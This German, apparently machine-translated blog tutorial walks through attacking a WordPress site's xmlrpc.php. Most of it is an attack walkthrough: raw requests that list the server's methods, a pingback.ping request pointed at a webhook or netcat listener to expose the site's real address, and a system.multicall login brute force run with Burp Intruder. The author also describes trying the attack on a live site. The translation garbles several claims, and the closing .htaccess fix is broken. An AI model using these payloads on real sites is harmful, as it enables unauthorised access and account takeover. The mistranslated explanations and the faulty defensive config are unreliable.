Articles

Ausnutzung der xmlrpc.php

X

Datenschutz &Cookies

Diese Seite verwendet Cookies. Wenn Sie fortfahren, erklären Sie sich mit deren Verwendung einverstanden. Erfahren Sie mehr, einschließlich, wie Sie Cookies kontrollieren können.

Got It!

Anzeigen

Was ist XML-RPC?

XML-RPC ist eine API, die Informationen oder Daten in eine XML-Datei umwandelt und an die mobile App oder Remote-Software sendet. Dies wurde eingeführt, als in den alten Tagen, Internet-Geschwindigkeit ist nicht schnell, anstatt es online zu schreiben. Die Benutzer schreiben ihre Inhalte offline und veröffentlichen alles zusammen über die API. Da sich die Internetdienste verbessert haben, nutzen die meisten von uns diese Funktion nicht mehr, oft wurde sie von uns vergessen.

xml_for

Was sind die Schwachstellen?

  1. Brute-Force-Angriff. Der Hauptgrund für diesen Angriff ist, dass diese API keine Anmeldeversuche auf der Website zulässt. Möglicherweise erhalten sie nicht die richtigen Anmeldedaten, verursachen aber dennoch Probleme wie die Überlastung der Website. Die Verfügbarkeit der Website ist beeinträchtigt.
  2. Abfangen/Diebstahl von Anmeldeinformationen. Fehlendes Authentifizierungssystem. Jedes Mal, wenn der Benutzer versucht, auf die Website zuzugreifen, werden die Anmeldedaten in einem XML-Formular gesendet. Wenn die Verbindung abgefangen wird/ MITM, werden die XML-Daten offengelegt.
  3. XMLRPC pingback.ping. Angreifer können diese Methode verwenden, um die tatsächliche öffentliche Adresse der WordPress-Website zu ermitteln.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

Bevor ich beginne, Ihnen die detaillierten Schritte zur Durchführung der folgenden Angriffe zu zeigen. Jede Ihrer illegalen Aktionen, die Sie durchgeführt haben, ist auf Ihre eigene Verantwortung. Ich bin für keine Ihrer Aktionen verantwortlich. Bitte richten Sie Ihre eigene Umgebung dafür ein oder fragen Sie vorher um Erlaubnis.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

XMLRPC-Angriff mit Burpsuite

Überprüfen Sie zunächst, ob XMLRPC.php auf der Zielseite zugänglich ist. In diesem Fall habe ich eine Demo-WordPress-Site eingerichtet, um den Angriff auszuführen.

checking

„Der XML-RPC-Server akzeptiert nur POST-Anfragen.“

Wenn wir die Datei mit der GET-Methode abrufen, erhalten wir normalerweise dieses Ergebnis.

Als Nächstes führen wir eine POST-Methode aus, um alle verwendbaren Methoden des XMLRPC-Servers abzurufen.

POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

methods

Der Server antwortet mit einer Liste der Methoden, die verwendet werden können. In diesem Fall sind wir besonders an der Methode pingback.ping interessiert. Es ist zu beachten, dass alle diese Daten, die ein- und ausgehen, das oben beschriebene XML-Format verwenden. Stellen Sie also sicher, dass das Datenformat korrekt ist.

Um den Angriff auszuführen, müssen wir zuerst diese 2 Dinge vorbereiten

  1. Eine gültige Webhook.Site-URL oder eine beliebige andere Alternative wie Beeceptor und Postbin
  2. Eine gültige URL eines gezielten WordPress-Posts.

<?xml version=“1.0″ encoding=“UTF-8″?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>

webhook

result

Nachfolgend ein weiteres Beispiel für diesen Angriff, der auf dieser WordPress-Seite durchgeführt wurde. YES! Die, die Sie gerade sehen. Aus Neugierde möchte ich versuchen, die echte Website anstelle der von mir gehosteten Seite anzugreifen.

own

Wie Sie sehen können, ist dieser Angriff erfolglos und es wird kein Ergebnis im Postbin angezeigt. Es sieht so aus, als hätten sie einige Vorkehrungen getroffen, um die Online-WordPress-Site zu schützen. Diese Methode ist nützlich für selbst eingerichtete Websites und hat xmlrpc.php nicht deaktiviert

Wenn Sie POSTBIN nicht verwenden möchten, öffnen Sie NC und stellen Sie auf Abhörmodus funktioniert auch! 👍👍

ncnc2

Brute-Force-Angriff mit XMLRPC.php

Wie oben erwähnt, gibt es keine Begrenzung der Anzahl der Versuche. Die erfolgreiche Kombination von Benutzername und Passwort ist nur eine Frage der Zeit. Und es gibt auch keinen Mechanismus wie die Kontosperre nach einer bestimmten Anzahl von Versuchen.

<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

Um den Unterschied zwischen erfolgreichem und erfolglosem Login zu zeigen, hier ein Beispiel.

brute

Und natürlich sollten Sie Intruder verwenden, um diese Art von Brute-Force-Angriffen durchzuführen.

Zuerst überprüfen Sie das Angriffsziel, in meinem Fall werde ich die IP-Adresse meiner Website verwenden.

target

Wir müssen die Positionen der Nutzlast festlegen und in der Liste der Angriffsarten ‚Streubombe‘ auswählen. Gute Quelle, um sich über Positionen und Angriffstypen zu informieren

postion

Hier müssen wir 2 Nutzlastpositionen festlegen, ‚Benutzername‘ und Passwort. Als nächstes müssen wir die Wortliste festlegen. Dies ist die Dokumentation der Nutzlasttypen

usernamepassword

Klicken Sie auf ‚Angriff starten‘, wenn Sie bereit sind

success

Wie wir sehen können, hat eine der Anfragen eine andere Länge. Und wenn wir die Rohdaten unter der Antwort-Registerkarte überprüfen, zeigt uns diese Kombination, dass wir uns erfolgreich eingeloggt haben.

Vorbeugung

  1. Installieren Sie ein Plugin für faule Leute
  2. Deaktivieren Sie xmlrpc.php mit .htaccess

# Jedem den Zugriff auf die Datei verweigern
<Dateien xmlrpc.php>
order deny,allow
deny from all
</Files>